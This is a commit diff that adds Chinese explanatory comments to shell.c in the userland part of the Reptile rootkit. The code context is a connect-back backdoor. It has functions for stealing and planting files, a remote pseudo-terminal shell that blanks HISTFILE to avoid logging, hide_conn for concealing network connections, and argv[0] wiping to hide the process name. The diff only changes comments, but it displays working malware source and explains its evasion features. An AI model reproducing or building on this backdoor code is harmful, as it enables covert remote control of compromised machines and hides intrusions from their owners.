补充shell注释

src/Reptile/userland/shell.c

@@ -23,6 +23,7 @@ char *rcfile;
 
 #ifndef _REPTILE_
 
+// 打印使用说明
 void usage(char *argv0)
 {
     fprintf(stderr, "Usage: %s [ -t connect_back_host ] ", argv0);
@@ -31,10 +32,12 @@ void usage(char *argv0)
 
 #endif
 
+// 获取文件
 int get_file(int client)
 {
     int ret, len, fd;
 
+    // 接收文件名
     ret = pel_recv_msg(client, message, &len);
 
     if (ret != PEL_SUCCESS)
@@ -45,11 +48,13 @@ int get_file(int client)
 
     message[len] = '\0';
 
+    // 打开文件
     fd = open((char *)message, O_RDONLY);
 
     if (fd < 0)
         return (ERROR);
 
+    // 读取文件内容并发送
     while (1) {
         len = read(fd, message, BUFSIZE);
 
@@ -66,10 +71,12 @@ int get_file(int client)
     return 0;
 }
 
+// 上传文件
 int put_file(int client)
 {
     int ret, len, fd;
 
+    // 接收文件名
     ret = pel_recv_msg(client, message, &len);
 
     if (ret != PEL_SUCCESS)
@@ -84,6 +91,7 @@ int put_file(int client)
     if (fd < 0)
         return (ERROR);
 
+    // 接收文件内容并写入
     while (1) {
         ret = pel_recv_msg(client, message, &len);
 
@@ -99,6 +107,7 @@ int put_file(int client)
     return 0;
 }
 
+// 运行 shell
 int runshell(int client)
 {
     fd_set rd;
@@ -106,6 +115,7 @@ int runshell(int client)
     char *slave, *temp, *shell;
     int ret, len, pid, pty, tty, n;
 
+    // 打开伪终端
     if (openpty(&pty, &tty, NULL, NULL, NULL) < 0)
         return (ERROR);
 
@@ -117,6 +127,7 @@ int runshell(int client)
     chdir(HOMEDIR);
     putenv("HISTFILE=");
 
+    // 接收终端类型
     ret = pel_recv_msg(client, message, &len);
 
     if (ret != PEL_SUCCESS)
@@ -125,6 +136,7 @@ int runshell(int client)
     message[len] = '\0';
     setenv("TERM", (char *)message, 1);
 
+    // 接收窗口大小
     ret = pel_recv_msg(client, message, &len);
 
     if (ret != PEL_SUCCESS || len != 4)
@@ -138,6 +150,7 @@ int runshell(int client)
     if (ioctl(pty, TIOCSWINSZ, &ws) < 0)
         return (ERROR);
 
+    // 接收命令
     ret = pel_recv_msg(client, message, &len);
 
     if (ret != PEL_SUCCESS)
@@ -161,6 +174,7 @@ int runshell(int client)
         strncpy(temp, (char *)message, len + 1);
     }
 
+    // 创建子进程
     pid = fork();
 
     if (pid < 0) {
@@ -206,6 +220,7 @@ int runshell(int client)
     } else {
         close(tty);
 
+        // 处理数据传输
         while (1) {
             FD_ZERO(&rd);
             FD_SET(client, &rd);
@@ -253,6 +268,7 @@ struct control {
     void *argv;
 };
 
+// 隐藏连接
 void hide_conn(struct sockaddr_in addr, int hide)
 {
     struct control args;
@@ -279,6 +295,7 @@ void hide_conn(struct sockaddr_in addr, int hide)
 
 #endif
 
+// 构建 rcfile 路径
 int build_rcfile_path(void)
 {
     char *name = NAME;
@@ -303,6 +320,7 @@ int main(int argc, char **argv)
     struct hostent *client_host;
     socklen_t n;
 
+    // 解析命令行参数
     while ((opt = getopt(argc, argv, "t:s:p:r:")) != -1) {
         switch (opt) {
         case 't':
@@ -340,6 +358,7 @@ int main(int argc, char **argv)
         goto out;
     }
 
+    // 隐藏进程名称
     arg0_len = strlen(argv[0]);
     bzero(argv[0], arg0_len);
     
@@ -373,6 +392,7 @@ int main(int argc, char **argv)
     if (build_rcfile_path())
         goto out;
 
+    // 创建子进程
     pid = fork();
 
     if (pid < 0)